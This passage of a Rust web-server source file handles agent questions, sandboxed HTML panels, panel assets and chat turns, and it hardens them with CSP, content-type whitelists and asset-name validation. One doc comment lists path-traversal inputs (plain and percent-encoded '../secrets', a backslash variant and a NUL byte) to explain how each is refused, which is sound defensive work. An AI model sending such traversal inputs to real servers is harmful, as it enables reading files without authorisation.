6185async fn question_say(
6186    State(ui): State<Arc<Ui>>,
6187    Path(id): Path<String>,
6188    body: std::result::Result<Json<NewSay>, JsonRejection>,
6189) -> ApiResult<Json<QuestionView>> {
6190    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6191    blocking(move || {
6192        let id = resolve_question(&ui.questions, &id)?;
6193        let q = ui
6194            .questions
6195            .get(&id)
6196            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6197        if !q.status.open() {
6198            // Same granularity as `question_answer`: answered or abandoned in
6199            // between the list and the tap is not this route's error to
6200            // explain any differently.
6201            return Err(ApiError::conflict(format!(
6202                "question {} is already {}",
6203                q.short(),
6204                q.status.as_str()
6205            )));
6206        }
6207        // `Question::say` owns the one rule that matters here - an empty
6208        // message tells the agent nothing - so the route does not restate it.
6209        let (q, ()) = ui
6210            .questions
6211            .update(&q.id, |r| r.say(body.body))
6212            .map_err(ApiError::bad_request_from)?;
6213        let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
6214        let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6215        Ok(Json(
6216            QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
6217        ))
6218    })
6219    .await
6220}
6221
6222/// `POST /api/questions/{id}/consult` - hand the question to the chat its task
6223/// came from. The question stays open: the chat agent answers it with `magi
6224/// answer`, or puts the decision to the owner in the conversation.
6225///
6226/// Answers 202 and runs the turn in the background, like every route that
6227/// spends agent calls. The text is queued as a draft of the existing talk, and
6228/// the turn goes through the talk's own gate and session; no seat or waiter is
6229/// started here.
6230async fn question_consult(
6231    State(ui): State<Arc<Ui>>,
6232    Path(id): Path<String>,
6233) -> ApiResult<(StatusCode, Json<QuestionView>)> {
6234    let (view, reclaimed) = blocking({
6235        let ui = Arc::clone(&ui);
6236        move || {
6237            let id = resolve_question(&ui.questions, &id)?;
6238            let q = ui
6239                .questions
6240                .get(&id)
6241                .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6242            if !q.status.open() {
6243                return Err(ApiError::conflict(format!(
6244                    "question {} is already {}",
6245                    q.short(),
6246                    q.status.as_str()
6247                )));
6248            }
6249            let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6250            let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
6251                return Err(ApiError::conflict(format!(
6252                    "question {} has no chat to ask",
6253                    q.short()
6254                )));
6255            };
6256            // Read the config before `begin` saves anything: a failure here
6257            // must leave no consult record or draft behind, or a retry would
6258            // see `fresh == false` and never start the turn.
6259            let cfg = if q.consult.is_none() {
6260                Some(Config::discover(&talk.repo, None)?.0)
6261            } else {
6262                None
6263            };
6264            let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
6265            let claim = if fresh {
6266                match ui.begin_queued_talk_turn(&talk.id)? {
6267                    Some(turn_guard) => {
6268                        let talk = ui.talks.get(&talk.id)?;
6269                        let cfg = match cfg {
6270                            Some(cfg) => cfg,
6271                            None => Config::discover(&talk.repo, None)?.0,
6272                        };
6273                        Some((talk, cfg, turn_guard))
6274                    }
6275                    None => None,
6276                }
6277            } else {
6278                None
6279            };
6280            let q = ui.questions.get(&q.id)?;
6281            let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
6282            let view = QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks);
6283            Ok((view, claim))
6284        }
6285    })
6286    .await?;
6287    if let Some((talk, cfg, turn_guard)) = reclaimed {
6288        let talks = ui.talks.clone();
6289        let id = talk.id.clone();
6290        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6291    }
6292    Ok((StatusCode::ACCEPTED, Json(view)))
6293}
6294
6295/// Expand an id or short id to exactly one question id.
6296fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
6297    if store.path_of(id).is_file() {
6298        return Ok(id.to_owned());
6299    }
6300    pick(
6301        store.list().into_iter().map(|q| q.id).collect(),
6302        id,
6303        "question",
6304    )
6305}
6306
6307/// `GET /api/questions/{id}/panel`.
6308///
6309/// The panel an agent wrote for this question, as `text/html` under
6310/// [`PANEL_CSP`], for the front end to mount in a sandboxed iframe.
6311/// A question without one is a 404 rather than an empty page: the client
6312/// preflights this route with `HEAD` and must be able to tell "no panel" from
6313/// "a panel that rendered blank", and a sandboxed frame is opaque to the
6314/// parent document so it cannot tell the difference by looking.
6315///
6316/// The body is whatever the agent wrote, byte for byte. Nothing here rewrites,
6317/// sanitises or minifies it - a sanitiser is a list of things someone thought
6318/// of, and the sandbox plus the CSP is a list of things that are allowed, which
6319/// is the direction that stays safe when an agent writes markup nobody
6320/// predicted.
6321async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
6322    blocking(move || {
6323        let id = resolve_question(&ui.questions, &id)?;
6324        let Some(html) = ui.questions.panel_html(&id) else {
6325            return Err(ApiError::not_found(format!("question {id} has no panel")));
6326        };
6327        Ok(panel_response(
6328            "text/html; charset=utf-8",
6329            false,
6330            html.into_bytes(),
6331        ))
6332    })
6333    .await
6334}
6335
6336/// `GET /api/questions/{id}/asset/{name}`.
6337///
6338/// One file from the question's own panel directory, so a panel can show a
6339/// diff as an SVG or a screenshot as a PNG without the CSP's `img-src 'self'`
6340/// having to allow anything off this machine.
6341///
6342/// This is the only route in the server where a client names a file, so it is
6343/// the only one with a traversal surface, and the name is checked by
6344/// [`ask::valid_asset_name`] before a path is built from it. Which layer stops
6345/// what is worth being explicit about, because the answer is not "all of it in
6346/// one place":
6347///
6348/// * `asset/../../secrets` never reaches this handler at all. axum matches on
6349///   the raw request path and `{name}` spans exactly one segment, so a real
6350///   slash makes the request too long for the route and the router answers 404.
6351/// * `asset/%2e%2e%2fsecrets` and `asset/..%5csecrets` do reach it: axum
6352///   percent-decodes path parameters, so `name` arrives as `../secrets` and
6353///   `..\secrets` respectively, which look like plain filenames to the router.
6354///   The validator refuses them here - both for the literal `..` and because
6355///   `/` and `\` are not in the permitted character set - and answers 400.
6356/// * A name carrying a NUL (`%00`) decodes to a string Rust is happy with but
6357///   the platform's path API is not, and it is refused here for the same
6358///   reason: NUL is not a permitted character.
6359/// * [`Questions::panel_asset`] validates again on read, so the check is not
6360///   load-bearing in only one place. This route's own check exists so the
6361///   failure is a 400 that says which name was wrong, rather than a store error
6362///   the operator has to interpret.
6363async fn question_asset(
6364    State(ui): State<Arc<Ui>>,
6365    Path((id, name)): Path<(String, String)>,
6366) -> ApiResult<Response> {
6367    // Before any filesystem work and before any path is built: a name this
6368    // server will not serve should not become a `PathBuf` at all.
6369    if !crate::ask::valid_asset_name(&name) {
6370        return Err(ApiError::bad_request(format!(
6371            "`{name}` is not a usable asset name"
6372        )));
6373    }
6374    blocking(move || {
6375        let id = resolve_question(&ui.questions, &id)?;
6376        let asset = ui
6377            .questions
6378            .panel_asset(&id, &name)
6379            .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
6380        let Some(bytes) = asset else {
6381            return Err(ApiError::not_found(format!(
6382                "question {id} has no asset `{name}`"
6383            )));
6384        };
6385        Ok(panel_response(
6386            asset_content_type(&name),
6387            is_svg(&name),
6388            bytes,
6389        ))
6390    })
6391    .await
6392}
6393
6394/// Content type for a panel asset, from a closed whitelist.
6395///
6396/// A whitelist with an `application/octet-stream` fallback rather than a
6397/// guess, because the one answer that must never come out of here is
6398/// `text/html`. An agent that writes `notes.html` into its panel directory and
6399/// links it would otherwise get its own markup rendered at the top level of the
6400/// operator's browser - outside the sandboxed frame, outside [`PANEL_CSP`], on
6401/// magi's origin - which is precisely the thing the panel design exists to
6402/// prevent. Same reasoning for `.js` and `.json`: unlisted means downloaded.
6403///
6404/// `nosniff` accompanies this on every response, so a browser cannot decide it
6405/// knows better than the type we sent.
6406fn asset_content_type(name: &str) -> &'static str {
6407    match extension(name).as_deref() {
6408        Some("png") => "image/png",
6409        Some("jpg" | "jpeg") => "image/jpeg",
6410        Some("gif") => "image/gif",
6411        Some("webp") => "image/webp",
6412        Some("svg") => "image/svg+xml",
6413        Some("css") => "text/css; charset=utf-8",
6414        Some("txt") => "text/plain; charset=utf-8",
6415        _ => "application/octet-stream",
6416    }
6417}
6418
6419/// Is this an SVG, and therefore a file that must never be opened at the top
6420/// level?
6421fn is_svg(name: &str) -> bool {
6422    extension(name).as_deref() == Some("svg")
6423}
6424
6425/// Lowercased extension, or `None` for a name without one.
6426fn extension(name: &str) -> Option<String> {
6427    name.rsplit_once('.')
6428        .map(|(_, ext)| ext.to_ascii_lowercase())
6429}
6430
6431/// Every panel response, with the four headers that make it safe and, for an
6432/// SVG, a fifth.
6433///
6434/// One function rather than a header list per handler, because a panel route
6435/// that forgets [`PANEL_CSP`] is not a cosmetic bug: it is the whole security
6436/// model gone, silently, on one of two routes. Adding a third panel route later
6437/// means calling this, and there is nowhere else to build a panel response.
6438///
6439/// `download` is set for SVG only. An SVG is XML that may carry `<script>`, and
6440/// as an `<img src>` inside the panel that script cannot run - but the asset
6441/// URL is also a plain URL an operator can be talked into opening in a tab,
6442/// where it is a document on magi's own origin. `Content-Disposition:
6443/// attachment` makes the browser download it instead of rendering it, which
6444/// closes that door without taking away the ability to draw a diff. Raster
6445/// images have no such execution surface and are left inline, so tapping a
6446/// screenshot still shows it.
6447fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
6448    let mut res = (
6449        [
6450            (header::CONTENT_TYPE, content_type),
6451            (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
6452            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
6453            (header::REFERRER_POLICY, "no-referrer"),
6454        ],
6455        body,
6456    )
6457        .into_response();
6458    if download {
6459        res.headers_mut().insert(
6460            header::CONTENT_DISPOSITION,
6461            HeaderValue::from_static("attachment"),
6462        );
6463    }
6464    res
6465}
6466
6467/// A talk as the phone reads it.
6468///
6469/// Every field of [`Talk`] verbatim, plus `turn_bodies_md` - one markdown node
6470/// tree per entry of `turns`, in order - parsed server-side so `app.js` never
6471/// parses markdown itself - and the process-local `thinking` hint.
6472#[derive(Debug, Serialize)]
6473struct TalkView {
6474    #[serde(flatten)]
6475    talk: Talk,
6476    turn_bodies_md: Vec<Vec<md::Node>>,
6477    /// Whether [`Ui::begin_talk_turn`] currently holds this talk's turn in
6478    /// this server process.
6479    ///
6480    /// This is deliberately not durable: another server process cannot see
6481    /// it, and a restarted server must not claim an old turn is live. It is a
6482    /// progress hint rather than proof a reply landed; the transcript remains
6483    /// the source of truth for that.
6484    thinking: bool,
6485    /// Context-window usage, derived per request - see
6486    /// [`talk::context_usage`]. Carried on every talk response (list, detail
6487    /// and each mutation) so the phone needs no extra call or polling.
6488    context: talk::ContextUsage,
6489    /// `[talk] operator_name`, when configured; the Chat labels the
6490    /// operator's turns with it.
6491    operator_name: Option<String>,
6492    /// The active persona's display name; `None` for the default voice.
6493    persona_name: Option<String>,
6494    /// URL of the avatar for the conversation's persona (the default voice
6495    /// included). Server-built; a configured `icon` never reaches the client.
6496    persona_avatar: String,
6497}
6498
6499impl TalkView {
6500    /// Reads the talk's repository config itself; a config that cannot be
6501    /// read leaves the window unknown but never fails the conversation.
6502    fn new(talk: Talk, thinking: bool) -> Self {
6503        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
6504        Self::with_config(talk, thinking, cfg.as_ref())
6505    }
6506
6507    /// As [`Self::new`], with the config already in hand (the list reads one
6508    /// per repository, not one per conversation).
6509    fn with_config(talk: Talk, thinking: bool, cfg: Option<&Config>) -> Self {
6510        let context = talk::context_usage(&talk, cfg);
6511        let turn_bodies_md = talk
6512            .turns
6513            .iter()
6514            .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
6515            .collect();
6516        let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
6517        let persona_name = persona::find(specs, &talk.persona)
6518            .filter(|p| !p.is_default())
6519            .map(|p| p.name);
6520        let persona_avatar = avatar_url(
6521            &talk.id,
6522            &persona::find(specs, &talk.persona)
6523                .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default")),
6524        );
6525        let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
6526        Self {
6527            turn_bodies_md,
6528            thinking,
6529            context,
6530            operator_name,
6531            persona_name,
6532            persona_avatar,
6533            talk,
6534        }
6535    }
6536}
6537
6538/// `GET /api/talks/{id}`'s answer: a [`TalkView`] plus the queue tasks this
6539/// conversation has filed, so the phone can follow one from inside the
6540/// conversation that asked for it rather than hunting the Queue for a task id
6541/// it may not remember.
6542#[derive(Debug, Serialize)]
6543struct TalkDetailView {
6544    #[serde(flatten)]
6545    view: TalkView,
6546    tasks: Vec<TaskView>,
6547    /// The agents this talk's repository can switch to; empty when its
6548    /// configuration cannot be read, which must not fail the whole detail.
6549    roster: Vec<RosterEntry>,
6550    /// The personas the conversation can pick from. The built-ins are always
6551    /// listed, even when the repository's configuration cannot be read.
6552    personas: Vec<PersonaEntry>,
6553}
6554
6555/// One persona as the talk's persona selector shows it.
6556#[derive(Debug, Serialize)]
6557struct PersonaEntry {
6558    id: String,
6559    name: String,
6560    /// Avatar URL, see [`TalkView::persona_avatar`].
6561    avatar: String,
6562}
6563
6564/// One roster agent as the talk's agent selector shows it.
6565#[derive(Debug, Serialize)]
6566struct RosterEntry {
6567    id: String,
6568    kind: AgentKind,
6569    /// Whether its CLI is on `PATH`, i.e. whether choosing it can work.
6570    runnable: bool,
6571}
6572
6573/// `GET /api/talks`.
6574///
6575/// Every conversation, open ones first and newest first - [`Talks::list`]'s
6576/// own order.
6577async fn talks_list(
6578    State(ui): State<Arc<Ui>>,
6579    Query(q): Query<ListQuery>,
6580) -> ApiResult<Json<Vec<TalkView>>> {
6581    blocking(move || {
6582        let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
6583        Ok(Json(
6584            ui.talks
6585                .list()
6586                .into_iter()
6587                .filter(|talk| q.contains(&talk.id))
6588                .map(|talk| {
6589                    let thinking = ui.is_thinking(&talk.id);
6590                    let cfg = configs
6591                        .entry(talk.repo.clone())
6592                        .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
6593                    TalkView::with_config(talk, thinking, cfg.as_ref())
6594                })
6595                .collect(),
6596        ))
6597    })
6598    .await
6599}
6600
6601/// The body of `POST /api/talks`, all of it optional: opening a talk needs no
6602/// message. `repo` defaults to the server's own; `agent` to `[roles] chatter`,
6603/// [`talk::begin`]'s own default. Unknown fields are ignored so a newer front
6604/// end still opens a talk against an older binary.
6605#[derive(Debug, Default, Deserialize)]
6606#[serde(default)]
6607struct NewTalk {
6608    agent: Option<String>,
6609    repo: Option<PathBuf>,
6610    /// Remembered choices from the browser. Soft: kept as raw JSON so a
6611    /// wrong type is dropped like a stale value instead of failing the request;
6612    /// each falls back to its default on its own (see [`talk::begin_with`]).
6613    preferred_agent: Option<serde_json::Value>,
6614    persona: Option<serde_json::Value>,
6615    implementers: Option<serde_json::Value>,
6616}
6617
6618/// `POST /api/talks` - open a conversation. Takes no agent turn: see
6619/// [`talk::begin`]'s doc for why there is nothing yet for one to answer.
6620async fn talk_post(
6621    State(ui): State<Arc<Ui>>,
6622    body: std::result::Result<Json<NewTalk>, JsonRejection>,
6623) -> ApiResult<impl IntoResponse> {
6624    // An absent body, or an empty one, is the normal way to open a talk - see
6625    // `NewTalk`'s doc - so a missing content type is treated the same as `{}`
6626    // rather than refused.
6627    let body = match body {
6628        Ok(Json(body)) => body,
6629        Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
6630        Err(e) => return Err(ApiError::bad_request(e.body_text())),
6631    };
6632    let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
6633    let cfg = config_for(&repo).await?;
6634    let view = blocking(move || {
6635        let preferred = talk::Preferred {
6636            agent: body
6637                .preferred_agent
6638                .as_ref()
6639                .and_then(|v| v.as_str())
6640                .map(str::to_owned),
6641            persona: body
6642                .persona
6643                .as_ref()
6644                .and_then(|v| v.as_str())
6645                .map(str::to_owned),
6646            implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
6647        };
6648        let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
6649        let thinking = ui.is_thinking(&talk.id);
6650        Ok(TalkView::new(talk, thinking))
6651    })
6652    .await?;
6653    Ok((StatusCode::CREATED, Json(view)))
6654}
6655
6656/// `GET /api/talks/{id}`.
6657async fn talk_detail(
6658    State(ui): State<Arc<Ui>>,
6659    Path(id): Path<String>,
6660) -> ApiResult<Json<TalkDetailView>> {
6661    blocking(move || {
6662        let id = resolve_talk(&ui.talks, &id)?;
6663        let talk = ui.talks.get(&id)?;
6664        let thinking = ui.is_thinking(&talk.id);
6665        let tasks = talk::tasks_of(&ui.queue, &talk.id)
6666            .into_iter()
6667            .map(TaskView::from)
6668            .collect();
6669        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
6670        let roster = cfg
6671            .as_ref()
6672            .map(|cfg| {
6673                cfg.agents
6674                    .iter()
6675                    .map(|a| RosterEntry {
6676                        id: a.id.clone(),
6677                        kind: a.kind,
6678                        runnable: agent::installed(a),
6679                    })
6680                    .collect()
6681            })
6682            .unwrap_or_default();
6683        let specs = cfg
6684            .as_ref()
6685            .map(|cfg| cfg.talk.personas.clone())
6686            .unwrap_or_default();
6687        let personas = persona::catalog(&specs)
6688            .into_iter()
6689            .map(|p| PersonaEntry {
6690                avatar: avatar_url(&talk.id, &p),
6691                id: p.id,
6692                name: p.name,
6693            })
6694            .collect();
6695        Ok(Json(TalkDetailView {
6696            view: TalkView::with_config(talk, thinking, cfg.as_ref()),
6697            tasks,
6698            roster,
6699            personas,
6700        }))
6701    })
6702    .await
6703}
6704
6705/// The body of `POST /api/talks/{id}/say`.
6706///
6707/// `attachments` names ids `POST /api/talks/{id}/attachments` already
6708/// returned - never bytes of its own - so a turn with no images just omits
6709/// the field, which is what an older front end still does.
6710#[derive(Debug, Default, Deserialize)]
6711#[serde(default, deny_unknown_fields)]
6712struct NewTalkTurn {
6713    reply_to: Option<talk::ReplyTarget>,
6714    text: String,
6715    attachments: Vec<String>,
6716}
6717
6718#[derive(Debug, Deserialize)]
6719#[serde(deny_unknown_fields)]
6720struct EditTalkPending {
6721    #[serde(default)]
6722    message: Option<usize>,
6723    text: String,
6724    expected_text: String,
6725    expected_attachments: Vec<String>,
6726}
6727
6728#[derive(Debug, Deserialize)]
6729#[serde(deny_unknown_fields)]
6730struct ClearTalkPending {
6731    expected_text: String,
6732    expected_attachments: Vec<String>,
6733}
6734
6735/// `POST /api/talks/{id}/say` - one turn of the conversation.
6736///
6737/// Not filesystem work, and therefore not routed through [`blocking`]: this
6738/// route spawns an agent CLI and a turn here can run for the whole of
6739/// [`crate::config::Graph::timeout_talk`] - an hour by default - because a
6740/// research turn is expected to run commands rather than answer from what it
6741/// already knows. Holding an HTTP connection open that long is not a thing
6742/// to ask a phone to do; the operator's message is recorded and answered for
6743/// immediately, and the reply lands in the background, discovered through
6744/// the change stream's `talks_rev` the same way every other update on this
6745/// surface is.
6746async fn talk_say(
6747    State(ui): State<Arc<Ui>>,
6748    Path(id): Path<String>,
6749    body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
6750) -> ApiResult<(StatusCode, Json<TalkView>)> {
6751    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6752    if body.text.trim().is_empty() && body.attachments.is_empty() {
6753        return Err(ApiError::bad_request("say something"));
6754    }
6755
6756    let id = {
6757        let ui = Arc::clone(&ui);
6758        let asked = id.clone();
6759        blocking(move || resolve_talk(&ui.talks, &asked)).await?
6760    };
6761    // A closed Talk never accepts a new immediate or queued turn. Check this
6762    // before claiming a slot so its ordinary domain refusal is a 409, not an
6763    // incidental failure from the later record/queue write.
6764    {
6765        let ui = Arc::clone(&ui);
6766        let id = id.clone();
6767        blocking(move || {
6768            let talk = ui.talks.get(&id)?;
6769            if !talk.status.open() {
6770                return Err(ApiError::conflict(format!(
6771                    "talk {} is {} and takes no more turns",
6772                    talk.short(),
6773                    talk.status.as_str()
6774                )));
6775            }
6776            Ok(())
6777        })
6778        .await?;
6779    }
6780
6781    // Every attachment id resolved to the metadata `talk::record`/`talk::queue`
6782    // actually stores, before anything is written - an unknown id is a 4xx
6783    // that names it rather than a turn (or a queued draft) silently missing
6784    // an image.
6785    let attachments = {
6786        let ui = Arc::clone(&ui);
6787        let id = id.clone();
6788        let ids = body.attachments.clone();
6789        blocking(move || {
6790            ids.into_iter()
6791                .map(|att_id| {
6792                    ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
6793                        ApiError::bad_request(format!("unknown attachment `{att_id}`"))
6794                    })
6795                })
6796                .collect::<ApiResult<Vec<talk::Attachment>>>()
6797        })
6798        .await?
6799    };
6800
6801    // Pending recovery and a new immediate turn are decided under the same
6802    // claim lock. Without that one critical section, a second `/say` can see
6803    // the first request's claim as "busy" and append itself to the recovered
6804    // draft before the first request rejects it.
6805    let start = {
6806        let ui = Arc::clone(&ui);
6807        let id = id.clone();
6808        blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
6809    };
6810    let turn_guard = match start {
6811        TalkTurnStart::Claimed(turn_guard) => turn_guard,
6812        TalkTurnStart::Pending => {
6813            return Err(ApiError::conflict(
6814                "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
6815            ));
6816        }
6817        TalkTurnStart::Foreign => {
6818            return Err(ApiError::conflict(
6819                "a turn is already running in another process; try again when it has finished",
6820            ));
6821        }
6822        TalkTurnStart::Busy => {
6823            // A turn is already running: queue rather than refuse. See
6824            // `Ui::begin_talk_turn` and `talk::queue`.
6825            //
6826            // The queue write and the drain it may owe live inside the task
6827            // `tokio::spawn` hands to the runtime, for the same reason the
6828            // immediate path below puts `record` there: a dropped handler
6829            // future must not be able to land between a durable write and
6830            // the task that answers it. `blocking` runs its closure on
6831            // `spawn_blocking`, which finishes whether or not anyone is left
6832            // to receive its result - so a disconnect at the `.await` below
6833            // would otherwise leave the draft persisted and the reclaimed
6834            // `TalkTurnGuard` dropped on the floor, with no `drain_loop`
6835            // ever started and the queued text stranded until some later
6836            // `say` happened to pick it up. The caller's 202 travels back
6837            // over a `oneshot`, sent the moment the write lands.
6838            let (tx, rx) = tokio::sync::oneshot::channel();
6839            tokio::spawn({
6840                let ui = Arc::clone(&ui);
6841                let id = id.clone();
6842                let said = body.text.clone();
6843                let reply_to = body.reply_to.clone();
6844                async move {
6845                    let written = blocking({
6846                        let ui = Arc::clone(&ui);
6847                        let id = id.clone();
6848                        move || {
6849                            let mut talk = ui.talks.get(&id)?;
6850                            // A test-only stop point, right before the write
6851                            // an interleaving test needs to pin - see
6852                            // `BusyQueueGate`. `None` in every real server:
6853                            // the field only exists under `#[cfg(test)]`.
6854                            #[cfg(test)]
6855                            if let Some(gate) = ui
6856                                .busy_queue_gate
6857                                .lock()
6858                                .unwrap_or_else(PoisonError::into_inner)
6859                                .take()
6860                            {
6861                                let _ = gate.reached.send(());
6862                                let _ = gate.release.recv();
6863                            }
6864                            if let Err(error) = talk::queue_reply(
6865                                &mut talk,
6866                                &ui.talks,
6867                                &said,
6868                                attachments,
6869                                reply_to,
6870                            ) {
6871                                if let Ok(fresh) = ui.talks.get(&id) {
6872                                    if !fresh.status.open() {
6873                                        return Err(ApiError::conflict(format!(
6874                                            "talk {} is {} and takes no more turns",
6875                                            fresh.short(),
6876                                            fresh.status.as_str()
6877                                        )));
6878                                    }
6879                                }
6880                                return Err(
6881                                    if error.to_string().contains("invalid reply target") {
6882                                        ApiError::bad_request("invalid reply target")
6883                                    } else {
6884                                        ApiError::from(error)
6885                                    },
6886                                );
6887                            }
6888                            // The turn that looked busy a moment ago can have
6889                            // finished, found nothing to drain and given up the
6890                            // slot in the gap between that check and this write
6891                            // landing - see `drain_loop`'s own doc for the other
6892                            // half of why that gap would otherwise be able to
6893                            // open at all. Reclaiming the slot here, rather than
6894                            // trusting that whoever held it is still watching, is
6895                            // what stops the text just queued from being stranded
6896                            // until an unrelated future `say` happens to drain
6897                            // it.
6898                            let claim = match ui.begin_queued_talk_turn(&id)? {
6899                                Some(turn_guard) => {
6900                                    let (cfg, _) = Config::discover(&talk.repo, None)?;
6901                                    Some((talk.clone(), cfg, turn_guard))
6902                                }
6903                                None => None,
6904                            };
6905                            let thinking = ui.is_thinking(&id);
6906                            Ok((TalkView::new(talk, thinking), claim))
6907                        }
6908                    })
6909                    .await;
6910                    let (view, reclaimed) = match written {
6911                        Ok(pair) => pair,
6912                        Err(e) => {
6913                            // Nobody is listening if the handler's own future
6914                            // was already dropped - that is fine, nothing was
6915                            // persisted and there is no response left to carry
6916                            // this error to.
6917                            let _ = tx.send(Err(e));
6918                            return;
6919                        }
6920                    };
6921                    // If this fails, the caller is gone; the drain below still
6922                    // runs exactly as it would have for a caller that stayed.
6923                    let _ = tx.send(Ok(view));
6924                    if let Some((talk, cfg, turn_guard)) = reclaimed {
6925                        let talks = ui.talks.clone();
6926                        drain_loop(talk, talks, cfg, id, turn_guard).await;
6927                    }
6928                }
6929            });
6930            let view = rx
6931                .await
6932                .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6933            return Ok((StatusCode::ACCEPTED, Json(view)));
6934        }
6935    };
6936
6937    let (talk, cfg) = {
6938        let ui = Arc::clone(&ui);
6939        let id = id.clone();
6940        blocking(move || {
6941            let talk = ui.talks.get(&id)?;
6942            let (cfg, _) = Config::discover(&talk.repo, None)?;
6943            Ok((talk, cfg))
6944        })
6945        .await?
6946    };
6947
6948    let talks = ui.talks.clone();
6949    // `record` runs *inside* the spawned task, rather than in this handler
6950    // followed by a separate `tokio::spawn` for `respond` - axum drops this
6951    // whole handler future outright on disconnect (see `TalkTurnGuard`'s
6952    // doc), and that drop can land at any `.await` this function makes,
6953    // including one that has already produced its result but not yet
6954    // resumed. A message could end up recorded on disk with the handler
6955    // future gone before it ever reached the `tokio::spawn` that would have
6956    // started the reply. `tokio::spawn` itself is a plain, synchronous call
6957    // that hands the whole future to the runtime as one unit - once made, no
6958    // later drop of *this* handler's own future (that call's return value is
6959    // never held onto here) can reach back in and stop it, so record and the
6960    // hand-off to `respond` are unconditionally atomic from the client's
6961    // point of view. The immediate response this handler owes the caller
6962    // travels back over a `oneshot`, sent the moment `record` succeeds.
6963    let (tx, rx) = tokio::sync::oneshot::channel();
6964    tokio::spawn({
6965        let ui = Arc::clone(&ui);
6966        let talks = talks.clone();
6967        let id = id.clone();
6968        let said = body.text.clone();
6969        let reply_to = body.reply_to.clone();
6970        let mut talk = talk.clone();
6971        async move {
6972            let recorded = blocking({
6973                let talks = talks.clone();
6974                move || {
6975                    if let Err(error) =
6976                        talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
6977                    {
6978                        if let Ok(fresh) = talks.get(&talk.id) {
6979                            if !fresh.status.open() {
6980                                return Err(ApiError::conflict(format!(
6981                                    "talk {} is {} and takes no more turns",
6982                                    fresh.short(),
6983                                    fresh.status.as_str()
6984                                )));
6985                            }
6986                        }
6987                        return Err(if error.to_string().contains("invalid reply target") {
6988                            ApiError::bad_request("invalid reply target")
6989                        } else {
6990                            ApiError::from(error)
6991                        });
6992                    }
6993                    // `record` mutates `talk` in place to the freshly persisted
6994                    // state (status, pending, and the just-appended operator
6995                    // turn), so returning it here is equivalent to re-reading it
6996                    // from disk - without the extra round trip a re-read would
6997                    // need.
6998                    Ok((said.trim().to_owned(), talk))
6999                }
7000            })
7001            .await;
7002            let (text, mut talk) = match recorded {
7003                Ok(pair) => pair,
7004                Err(e) => {
7005                    // Nobody is listening if the handler's own future was
7006                    // already dropped - that is fine, there is no response
7007                    // left to carry this error to and nothing was persisted.
7008                    let _ = tx.send(Err(e));
7009                    return;
7010                }
7011            };
7012            let queued = talk.clone();
7013            let thinking = ui.is_thinking(&id);
7014            // If this fails, the caller is gone; the turn still runs below
7015            // exactly as it would have for a caller that stayed connected.
7016            let _ = tx.send(Ok((queued, thinking)));
7017
7018            if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
7019                // `respond` records the failure in the transcript itself,
7020                // which is what the phone reads; this line is for the
7021                // operator's terminal.
7022                tracing::warn!("talk {id} turn failed: {e:#}");
7023            }
7024            // Anything `talk::queue` added while the turn above was running
7025            // is still owed an answer - see `drain_loop`.
7026            drain_loop(talk, talks, cfg, id, turn_guard).await;
7027        }
7028    });
7029
7030    let (queued, thinking) = rx
7031        .await
7032        .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
7033
7034    // 202: the operator's message is recorded and a turn is running.
7035    Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
7036}
7037
7038/// `POST /api/talks/{id}/pending/resume` promotes a persisted draft without
7039/// changing it. The turn guard is the same per-talk ownership `talk_say`
7040/// holds, so duplicate recovery clicks cannot resume the CLI session twice.
7041async fn talk_pending_resume(
7042    State(ui): State<Arc<Ui>>,
7043    Path(id): Path<String>,
7044) -> ApiResult<(StatusCode, Json<TalkView>)> {
7045    let id = {
7046        let ui = Arc::clone(&ui);
7047        let asked = id.clone();
7048        blocking(move || resolve_talk(&ui.talks, &asked)).await?
7049    };
7050    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7051        return Err(ApiError::conflict(
7052            "a talk turn is already running; the queued draft will be handled by it",
7053        ));
7054    };
7055    let (talk, cfg) = {
7056        let ui = Arc::clone(&ui);
7057        let id = id.clone();
7058        blocking(move || {
7059            let talk = ui.talks.get(&id)?;
7060            if !talk.status.open() {
7061                return Err(ApiError::conflict(format!(
7062                    "talk {} is {} and takes no more turns",
